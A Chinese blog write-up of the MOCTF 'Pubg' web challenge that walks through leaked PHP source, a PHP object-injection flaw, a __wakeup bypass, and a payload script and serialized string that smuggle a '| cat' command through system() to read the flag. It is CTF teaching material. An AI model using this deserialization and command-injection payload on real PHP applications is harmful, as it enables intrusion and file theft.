Moctf--Pubg题目
假期举办的一场比赛,开始的题目比较基础,misc神马的都还好说,就是web有些坑了,比如我今天要写的这一道题目。不过大佬说很简单。。不过最后我还是解出来了,把思路放在这里。

打开之后得到这个页面,在网页源代码中得到源码泄漏。

之后访问得到源码::
<?php
error_reporting(0);
include 'class.php';
if(is_array($_GET)&&count($_GET)>0)
{
if(isset($_GET["LandIn"]))
{
$pos=$_GET["LandIn"];
}
if($pos==="airport")
{
die("<center>机场大仙太多,你被打死了~</center>");
}
elseif($pos==="school")
{
echo('</br><center><a href="/index.html" style="color:white">叫我校霸~~</a></center>');
$pubg=$_GET['pubg'];
$p = unserialize($pubg);
// $p->Get_air_drops($p->weapon,$p->bag);
}
elseif($pos==="AFK")
{
die("<center>由于你长时间没动,掉到海里淹死了~</center");
}
else
{
die("<center>You Lose</center>"); }
}
?>
暂时得到了一些信息,在传入pos=school的同时要赋值给pubg一个参数(序列化之后的)。。之后就没啥信息了。
不过在起始位置我们看到了这个页面包含了class.php,我们想办法拿到这个php文件。这是尝试一发
。成功了。。。
拿到了第二个源码:
<?php
include 'waf.php';
class sheldon{
public $bag="nothing";
public $weapon="M24";
// public function __toString(){
// $this->str="You got the airdrop";
// return $this->str;
// }
public function __wakeup()
{
$this->bag="nothing";
$this->weapon="kar98K";
}
public function Get_air_drops($b)
{
$this->$b();
}
public function __call($method,$parameters)
{
$file = explode(".",$method);
echo $file[0];
if(file_exists(".//class$file[0].php"))
{
system("php .//class//$method.php");
}
else
{
system("php .//class//win.php");
}
die();
}
public function nothing()
{
die("<center>You lose</center>");
}
public function __destruct()
{
waf($this->bag);
if($this->weapon==='AWM')
{
$this->Get_air_drops($this->bag);
}
else
{
die('<center>The Air Drop is empty,you lose~</center>');
}
}
}
?>
我们分析这个源码:
(1)这里定义了一个sheldon类,里面 有两个public成员 public $bag="nothing"; public $weapon="M24";。
(2)里面有五个成员函数。
①function __wakeup()
②function Get_air_drops($b)
③function __call($method,$parameters)
④function nothing()
⑤function __destruct()
之后我们开始分析,由于在index.php中我们知道要传入一个序列化后的对象,并且class.php中正好只有这个一个类。所以我们可以大胆猜测我们需要构造一个sheldon的对象。
而我们知道, __wakeup()函数在其所在对象反序列化的时候自动调用。所以如果我们构造sheldon对象并反序列后,我们的对象内部就会自动调用wakeup函数,此时我们这个对象的成员变量会变成
。而我们在看destruct()函数。

我们知道这是一个析构函数,当对象内容执行结束后会调用析构函数,也就是说这个函数一定会被执行。我们来审计下这个代码:
①对当前对象的bag成员执行waf函数(这个函数在waf.php中,但是我们目前无法得到waf.php中的内容)。
②然后if中条件满足的话,我们执行Get_air_drops函数,否则输出一行字。
③再看Get_air_drops,这个函数内容为
,这个函数意思是传入一个参数b,而b为一个函数并执行这个函数。
此时,我们要捋顺下思路。我们目前还有__call函数没有执行,我们查看文档得到:在对象中调用一个不可访问方法时,__call() 会被调用。并且这个method参数是我们传入的那个不存在的方法。
并且在__call函数中我们能看到当满足
条件的时候会执行
这个命令,而我们想要的flag应该就需要用过命令去得到。
所以为了满足if条件,我们可以将method赋值为“//win.php**********************”而file[0]在经过 $file = explode(".",$method);函数后变为 //win 也就是说为 .//class//win.php(而这个文file肯定是存在的,也就绕过了if)。而为了得到我们需要的flag,我们就要在上面写的******中放入命令来执行bash。(这个是后话,我们先看如何才能让__call函数执行)。
我们知道__call()函数为php的魔术方法,若要使__call()函数执行,那么我们就要令new出来的对象执行一个不存在的函数。而如何执行函数呢?我们来看 __destruct()方法,
public function __destruct()
{
//waf($this->bag);
if($this->weapon==='AWM')
{
$this->Get_air_drops($this->bag);
}
else
{
die('<center>The Air Drop is empty,you lose~</center>');
}
}
}
这个方法中写到,若wepom为AWM,则执行bag变量所代表的那个函数。所以我们可以想办法给bag赋值为一个不存在的函数,然后执行它。
而当其函数执行的时候就会调用__call()函数。这时我们来看__call()
public function __call($method,$parameters)
{
$file = explode(".",$method);
echo $file[0];
if(file_exists(".//class$file[0].php"))
{
system("php .//class//$method.php");
}
else
{
system("php .//class//win.php");
}
die();
}
在这个里面,第一个条件是.//class$file[0].php目录下存在file。当满足此条件后,执行php命令。而且由魔术方法的定义,我method传入的参数既为bag。所以我们将bag传入某些命令,就可以执行php代码并拿到我们所需的flag了。
OK,我们简单的在总结下这道题目。
①系统肯定要执行__destruct()函数,由此函数执行不存在的函数从而调用__call()。又因为我们的脚本中存在__wakeup()函数(__wakeup触发于unserilize()调用之前,但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得__wakeup失效。)所以它会讲我们的weapon强制改成kar98K,导致我们无法调用Get_air_drops()函数。所以我们需要绕过它(下面讲一下)。
②成功绕过__wakeup()后,执行call函数,并满足第一个条件后运行“system("php .//class//$method.php");”得到flag。
所以此时构造payload。
此时我们令

之后就可以绕过__call函数里第一个函数。

此时file[0]=//win 所以文件存在。
之后执行system("php .//class////win.php| cat ./class/flag.php");
这里的关键在于"|",这个管道符号之后的命令会执行。所以cat到flag.php的内容并打印出来了。
这里放上脚本
<?php
class sheldon{
public $bag="//win.php| cat ./class/flag";
public $weapon="AWM";
// public function __toString(){
// $this->str="You got the airdrop";
// return $this->str;
// }
public function __wakeup()
{
$this->bag="nothing";
$this->weapon="kar98K";
}
public function Get_air_drops($b)
{
$this->$b();
}
public function __call($method,$parameters)
{
$file = explode(".",$method);
echo $file[0];
if(file_exists(".//class$file[0].php"))
{
system("php .//class//$method.php");
}
else
{
system("php .//class//win.php");
}
die();
}
public function nothing()
{
die("<center>You lose</center>");
}
public function __destruct()
{
//waf($this->bag);
if($this->weapon==='AWM')
{
$this->Get_air_drops($this->bag);
}
else
{
die('<center>The Air Drop is empty,you lose~</center>');
}
}
}
$a = new sheldon();
print_r(serialize($a));
// var_dump((unserialize(serialize($a)))); ?>

这个修改下payload来绕__wakeup函数。得到
O:7:"sheldon"::{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";}(这里把2改为其他的数就行)
最终结果看下图。

在源码中就看到flag了
Moctf--Pubg题目的更多相关文章
- MOCTF-WEB-writeup
MOCTF-WEB-writeup 好菜,除了简单的几个题,自己会做,难的都是看老大WP完成的,太菜了 啥姿势都不会,就此记录一下,供日后查看及反省.菜鸡的自我修养 0x01 一道水题 题目链接:ht ...
- PUBG 1V3 线段树扫描线
PUBG 1V3 这个题目我觉得好难写啊. 感觉自己码力不太行啊. 题目大意是,给你n个人,n个人组成m个队伍,每个队伍最多4个人. 然后给你每一个人的位置队伍信息还有攻击范围. 问当一个队伍剩下一个 ...
- 谈谈一些有趣的CSS题目(十二)-- 你该知道的字体 font-family
开本系列,谈谈一些有趣的 CSS 题目,题目类型天马行空,想到什么说什么,不仅为了拓宽一下解决问题的思路,更涉及一些容易忽视的 CSS 细节. 解题不考虑兼容性,题目天马行空,想到什么说什么,如果解题 ...
- 谈谈一些有趣的CSS题目(十一)-- reset.css 知多少?
开本系列,谈谈一些有趣的 CSS 题目,题目类型天马行空,想到什么说什么,不仅为了拓宽一下解决问题的思路,更涉及一些容易忽视的 CSS 细节. 解题不考虑兼容性,题目天马行空,想到什么说什么,如果解题 ...
- 谈谈一些有趣的CSS题目(三)-- 层叠顺序与堆栈上下文知多少
开本系列,讨论一些有趣的 CSS 题目,抛开实用性而言,一些题目为了拓宽一下解决问题的思路,此外,涉及一些容易忽视的 CSS 细节. 解题不考虑兼容性,题目天马行空,想到什么说什么,如果解题中有你感觉 ...
- 一道返回num值的小题目
题目描述: 实现fizzBuzz函数,参数num与返回值的关系如下: .如果num能同时被3和5整除,返回字符串fizzbuzz .如果num能被3整除,返回字符串fizz .如果num能被5整除,返 ...
- 谈谈一些有趣的CSS题目(一)-- 左边竖条的实现方法
开本系列,讨论一些有趣的 CSS 题目,抛开实用性而言,一些题目为了拓宽一下解决问题的思路,此外,涉及一些容易忽视的 CSS 细节. 解题不考虑兼容性,题目天马行空,想到什么说什么,如果解题中有你感觉 ...
- 谈谈一些有趣的CSS题目(二)-- 从条纹边框的实现谈盒子模型
开本系列,讨论一些有趣的 CSS 题目,抛开实用性而言,一些题目为了拓宽一下解决问题的思路,此外,涉及一些容易忽视的 CSS 细节. 解题不考虑兼容性,题目天马行空,想到什么说什么,如果解题中有你感觉 ...
- 谈谈一些有趣的CSS题目(四)-- 从倒影说起,谈谈 CSS 继承 inherit
开本系列,讨论一些有趣的 CSS 题目,抛开实用性而言,一些题目为了拓宽一下解决问题的思路,此外,涉及一些容易忽视的 CSS 细节. 解题不考虑兼容性,题目天马行空,想到什么说什么,如果解题中有你感觉 ...
随机推荐
- QVector的内存分配策略
我们都知道 STL std::vector 作为动态数组在所分配的内存被填满时.假设继续加入数据,std::vector 会另外申请一个大小当前容量两倍的区域(假设 n > size 则申请 n ...
- VS2013 update4+Cocos2d-x 3.7 Win8下安装方法及配置
1.安装VS 2013 update4 7个G.自己就去网上找吧,一大堆,密钥问度娘. 2.安装及配置python 2.x 这里注意,一定要下载python 3.0下面的版本号. 配置:进行环境变量配 ...
- MYSQL时间戳的处理
date为需要处理的参数(该参数是Unix 时间戳),可以是字段名,也可以直接是Unix 时间戳字符串 后面的 '%Y%m%d' 主要是将返回值格式化 例如: mysql>SELECT FROM ...
- 重构机房收费系统你要用的——异常处理和抛出异常(try catch finally)——(vb.net)
你能保证你的程序不会出问题吗? 不能 当你的程序执行到某个地方发生了你不想要的结果.你是否想让它一错再错? 不想 你是否想让你的程序占着茅坑不拉屎? 不想 你是否想知道你的程序出错的原因? 想 个问题 ...
- NYOJ 1067 Compress String(区间dp)
Compress String 时间限制:2000 ms | 内存限制:65535 KB 难度:3 描写叙述 One day,a beautiful girl ask LYH to help he ...
- Python——list切片
前文简单介绍了Python中的list和它常用的一些函数,知道list是一个有序的数据集合,那么我们如何获取list中的元素呢? Index: 与C语言中数组一样,list可以通过每个元素的index ...
- querying rpm database
Call dbMatch on a transaction set to create a match iterator. As with the C API, a match iterator al ...
- 获取Android设备无线和以太网MAC地址
package com.raycloud.wolf.blogformac; import android.net.wifi.WifiManager; import android.support.v7 ...
- POJ2155 Matrix 二维线段树
关键词:线段树 二维线段树维护一个 维护一个X线段的线段树,每个X节点维护一个 维护一个Y线段的线段树. 注意,以下代码没有PushDownX.因为如果要这么做,PushDownX时,由于当前X节点的 ...
- Random 类生成随机数
Random类 (java.util) Random类中实现的随机算法是伪随机,也就是有规则的随机.在进行随机时,随机算法的起源数字称为种子数(seed),在种子数的基础上进行一定的变换,从而产生需要 ...